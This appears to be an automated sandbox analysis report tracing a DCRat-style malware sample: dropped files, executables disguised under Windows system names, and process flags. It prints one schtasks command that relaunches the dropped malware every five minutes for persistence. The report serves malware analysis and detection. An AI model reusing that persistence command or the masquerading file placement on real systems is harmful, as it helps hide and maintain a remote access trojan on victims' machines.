Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	File created: C:\Users\user\AppData\Local\Temp\5GG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\AnyDesk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\mAXRREOc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\lDwJvEzh.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\ClnXUwDc.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\xgSpWhiF.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\TilmxzEN.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\EMzXkajr.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\HZFVxtTQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	File created: C:\MsComponentSvc\hyperServer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\qZHqJfVT.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\XemDEfuG.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_webp.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\SqUEbieS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\rnpQtBdQ.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\unicodedata.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\HhpobctW.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\mNQamoeL.log	Jump to dropped file
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	File created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\jckJfaUS.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\qqOIYBOV.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\djHkCuPe.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\leXsAJYN.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\aqsBQydf.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingcms.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\hogBtNYU.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\Hxfnrnuk.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\4.exe	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\YMfkqJAE.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\SvduSjUw.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\6.exe	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\oGfIXkQJ.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\gQSsYLcl.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\wtLyrQzn.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_queue.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Program Files\Windows Defender\Offline\cmd.exe	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\JquWdkfi.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\NZSNEIyK.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\RugdLmIP.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imaging.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\AHaGtIaB.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\Default\Music\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\1.exe	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\YoGTvPZk.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\GtlgqOyY.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingmath.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\vFGpGDDp.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\libffi-7.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\EZsfFKza.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\3.exe	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Recovery\StartMenuExperienceHost.exe	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\VkXUSiII.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\xWvqmuPI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\_cffi_backend.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\WvrkJSnm.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\LtgEzTke.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\NILvpmFI.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\jHIjfHde.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL\_imagingtk.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\AjBoyNzh.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI73402\programms\5.exe	Jump to dropped file

Source: C:\MsComponentSvc\hyperServer.exe

File created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe

Jump to dropped file

Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\oGfIXkQJ.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\YwplZyzq.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\NILvpmFI.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\djHkCuPe.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\mNQamoeL.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\EZsfFKza.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\SvduSjUw.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\AjBoyNzh.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\jckJfaUS.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\YoGTvPZk.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\HhpobctW.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\wtLyrQzn.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\NZSNEIyK.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\leXsAJYN.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\ClnXUwDc.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\aqsBQydf.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\HZFVxtTQ.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\hogBtNYU.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\WvrkJSnm.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\GtlgqOyY.log	Jump to dropped file
Source: C:\MsComponentSvc\hyperServer.exe	File created: C:\Users\user\Desktop\vFGpGDDp.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\VScUyJWO.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\JquWdkfi.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\qZHqJfVT.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\AHaGtIaB.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\YMfkqJAE.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\xWvqmuPI.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\LtgEzTke.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\lDwJvEzh.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\SqUEbieS.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\Hxfnrnuk.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\qqOIYBOV.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\XemDEfuG.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\EMzXkajr.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\mAXRREOc.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\rnpQtBdQ.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\TilmxzEN.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\xgSpWhiF.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\VkXUSiII.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\jHIjfHde.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\gQSsYLcl.log	Jump to dropped file
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File created: C:\Users\user\Desktop\RugdLmIP.log	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\MsComponentSvc\hyperServer.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Recovery\StartMenuExperienceHost.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54A6EF0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00007FF7E54A6EF0

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
